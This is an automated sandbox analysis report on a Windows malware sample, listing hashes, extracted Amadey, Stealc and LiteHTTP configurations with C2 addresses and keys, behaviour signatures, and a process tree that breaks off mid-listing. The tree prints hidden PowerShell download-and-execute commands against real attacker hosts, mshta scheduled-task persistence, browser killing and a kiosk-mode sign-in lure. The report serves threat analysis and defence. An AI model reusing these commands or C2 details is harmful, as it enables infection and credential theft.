Overview

overview

10

Static

static

5

5c9465cda4.exe

windows7-x64

10

5c9465cda4.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 20:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5c9465cda4.exe

  • Size

    938KB

  • MD5

    1fa9c173c6abaae5709ca4b88db07aa5

  • SHA1

    dc77a5b0aeede04510ad4604ff58af13fd377609

  • SHA256

    3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247

  • SHA512

    8bf7ea16e4ac88460842de1ab9abeeccb930d1bd309a8d06e2e33fab96cdd8a6f7a001dede7eedbe3511cba20e8799591e45a1a00bb484899bc255f3af811534

  • SSDEEP

    24576:OqDEvCTbMWu7rQYlBQcBiT6rprG8a09u:OTvC/MTQYxsWR7a09

Score
10/10
amadeygcleanerhealerlitehttpstealcxmrig092155trumpbotcredential_accessdefense_evasiondiscoverydropperevasionexecutionloaderminerpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Family

litehttp

Version

v1.0.9

C2

http://185.208.156.162/page.php

Attributes
  • key

    v1d6kd29g85cm8jp4pv8tvflvg303gbl

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • LiteHTTP

    LiteHTTP is an open-source bot written in C#.

    stealerbotlitehttp
  • Litehttp family
    litehttp
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 15 IoCs
    defense_evasion
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Powershell Invoke Web Request.

    execution
  • Downloads MZ/PE file 22 IoCs
  • Uses browser remote debugging 2 TTPs 7 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 30 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 15 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 47 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 61 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 38 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:3524
    • C:\Users\Admin\AppData\Local\Temp\5c9465cda4.exe
      "C:\Users\Admin\AppData\Local\Temp\5c9465cda4.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn 4JKPGmaRiRY /tr "mshta C:\Users\Admin\AppData\Local\Temp\l4RogRxTF.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn 4JKPGmaRiRY /tr "mshta C:\Users\Admin\AppData\Local\Temp\l4RogRxTF.hta" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1168
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\l4RogRxTF.hta
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3480
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7UUDA1HP4RZE8SSGV0YHO2DH8JG5KHOQ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1396
          • C:\Users\Admin\AppData\Local\Temp7UUDA1HP4RZE8SSGV0YHO2DH8JG5KHOQ.EXE
            "C:\Users\Admin\AppData\Local\Temp7UUDA1HP4RZE8SSGV0YHO2DH8JG5KHOQ.EXE"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2760
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Adds Run key to start application
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5012
              • C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe
                "C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4784
              • C:\Users\Admin\AppData\Local\Temp\10106670101\7a0b0c2d70.exe
                "C:\Users\Admin\AppData\Local\Temp\10106670101\7a0b0c2d70.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:3916
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c schtasks /create /tn UMKE9maNBFY /tr "mshta C:\Users\Admin\AppData\Local\Temp\m2Kvp7A7T.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2780
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn UMKE9maNBFY /tr "mshta C:\Users\Admin\AppData\Local\Temp\m2Kvp7A7T.hta" /sc minute /mo 25 /ru "Admin" /f
                    9⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:4944
                • C:\Windows\SysWOW64\mshta.exe
                  mshta C:\Users\Admin\AppData\Local\Temp\m2Kvp7A7T.hta
                  8⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4684
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'OHPMWYCFOPSZ4QSKDHYPUN6KTKHHJLTW.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    9⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4124
                    • C:\Users\Admin\AppData\Local\TempOHPMWYCFOPSZ4QSKDHYPUN6KTKHHJLTW.EXE
                      "C:\Users\Admin\AppData\Local\TempOHPMWYCFOPSZ4QSKDHYPUN6KTKHHJLTW.EXE"
                      10⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3592
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10106680121\am_no.cmd" "
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4432
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /t 2
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:3436
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4768
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4572
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2700
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2752
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3352
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:556
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "TlXjKmayFU9" /tr "mshta \"C:\Temp\cxRu7sI4n.hta\"" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:860
                • C:\Windows\SysWOW64\mshta.exe
                  mshta "C:\Temp\cxRu7sI4n.hta"
                  8⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  PID:4076
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    9⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3552
                    • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                      "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                      10⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1268
              • C:\Users\Admin\AppData\Local\Temp\10106720101\493c52e042.exe
                "C:\Users\Admin\AppData\Local\Temp\10106720101\493c52e042.exe"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:220
                • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                  "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                  8⤵
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  PID:4956
              • C:\Users\Admin\AppData\Local\Temp\10106730101\f239d273d6.exe
                "C:\Users\Admin\AppData\Local\Temp\10106730101\f239d273d6.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:3336
                • C:\Users\Admin\AppData\Local\Temp\10106730101\f239d273d6.exe
                  "C:\Users\Admin\AppData\Local\Temp\10106730101\f239d273d6.exe"
                  8⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3544
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 812
                  8⤵
                  • Program crash
                  PID:1168
              • C:\Users\Admin\AppData\Local\Temp\10106740101\85dc195b41.exe
                "C:\Users\Admin\AppData\Local\Temp\10106740101\85dc195b41.exe"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2396
                • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                  "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                  8⤵
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  PID:2824
              • C:\Users\Admin\AppData\Local\Temp\10106750101\488a01daa9.exe
                "C:\Users\Admin\AppData\Local\Temp\10106750101\488a01daa9.exe"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1276
              • C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
                "C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:4324
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\91AC.tmp\91AD.tmp\91AE.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
                  8⤵
                    PID:3592
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
                      9⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3756
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
                        10⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops startup file
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:220
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\of0b1oe0\of0b1oe0.cmdline"
                          11⤵
                            PID:5080
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD6D.tmp" "c:\Users\Admin\AppData\Local\Temp\of0b1oe0\CSCEDAC5CC370D94E329C38257BC740CFAA.TMP"
                              12⤵
                                PID:1040
                    • C:\Users\Admin\AppData\Local\Temp\10106780101\a73cd2f11c.exe
                      "C:\Users\Admin\AppData\Local\Temp\10106780101\a73cd2f11c.exe"
                      7⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Downloads MZ/PE file
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4348
                      • C:\Users\Admin\AppData\Local\Temp\P4GZ13XRBTNE0IZYC25P8AX0KLVA1NT.exe
                        "C:\Users\Admin\AppData\Local\Temp\P4GZ13XRBTNE0IZYC25P8AX0KLVA1NT.exe"
                        8⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1900
                    • C:\Users\Admin\AppData\Local\Temp\10106790101\c147fb71bf.exe
                      "C:\Users\Admin\AppData\Local\Temp\10106790101\c147fb71bf.exe"
                      7⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4316
                    • C:\Users\Admin\AppData\Local\Temp\10106800101\6fda8e7a9a.exe
                      "C:\Users\Admin\AppData\Local\Temp\10106800101\6fda8e7a9a.exe"
                      7⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2432
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /F /IM firefox.exe /T
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4704
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /F /IM chrome.exe /T
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1780
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /F /IM msedge.exe /T
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3280
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /F /IM opera.exe /T
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:764
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /F /IM brave.exe /T
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2452
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                        8⤵
                          PID:3688
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                            9⤵
                            • Checks processor information in registry
                            • Modifies registry class
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            • Suspicious use of SetWindowsHookEx
                            PID:4364
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2028 -parentBuildID 20240401114208 -prefsHandle 1956 -prefMapHandle 1948 -prefsLen 27352 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d15c1c8b-11f8-426a-a58e-83e48e44a5e2} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" gpu
                              10⤵
                                PID:4548
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2456 -parentBuildID 20240401114208 -prefsHandle 2432 -prefMapHandle 2416 -prefsLen 28272 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {86ef4352-d371-4260-b72a-b01deb1c7a70} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" socket
                                10⤵
                                  PID:3816
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3300 -childID 1 -isForBrowser -prefsHandle 3304 -prefMapHandle 3144 -prefsLen 22684 -prefMapSize 244628 -jsInitHandle 1204 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5b8eeef-c8af-4f4e-9b4c-da2b6815ecee} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" tab
                                  10⤵
                                    PID:3396
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4168 -childID 2 -isForBrowser -prefsHandle 4156 -prefMapHandle 4152 -prefsLen 32762 -prefMapSize 244628 -jsInitHandle 1204 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a890417c-5fa3-498d-b647-2d7317b735e6} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" tab
                                    10⤵
                                      PID:2580
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4964 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4956 -prefMapHandle 4952 -prefsLen 32872 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {255c0959-f9e2-43a8-97e6-5717408326e7} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" utility
                                      10⤵
                                      • Checks processor information in registry
                                      PID:5752
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5328 -childID 3 -isForBrowser -prefsHandle 5308 -prefMapHandle 5264 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1204 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb54bc78-8bb0-4893-bcff-d5619fbadb04} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" tab
                                      10⤵
                                        PID:4920
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5460 -childID 4 -isForBrowser -prefsHandle 5536 -prefMapHandle 5532 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1204 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fec3d0ec-d462-4230-b95a-5f651326fe99} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" tab
                                        10⤵
                                          PID:4272
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5436 -childID 5 -isForBrowser -prefsHandle 5444 -prefMapHandle 5448 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1204 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {69dc8da7-285f-443d-935c-7b4646654423} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" tab
                                          10⤵
                                            PID:4840
                                    • C:\Users\Admin\AppData\Local\Temp\10106810101\11eddf214e.exe
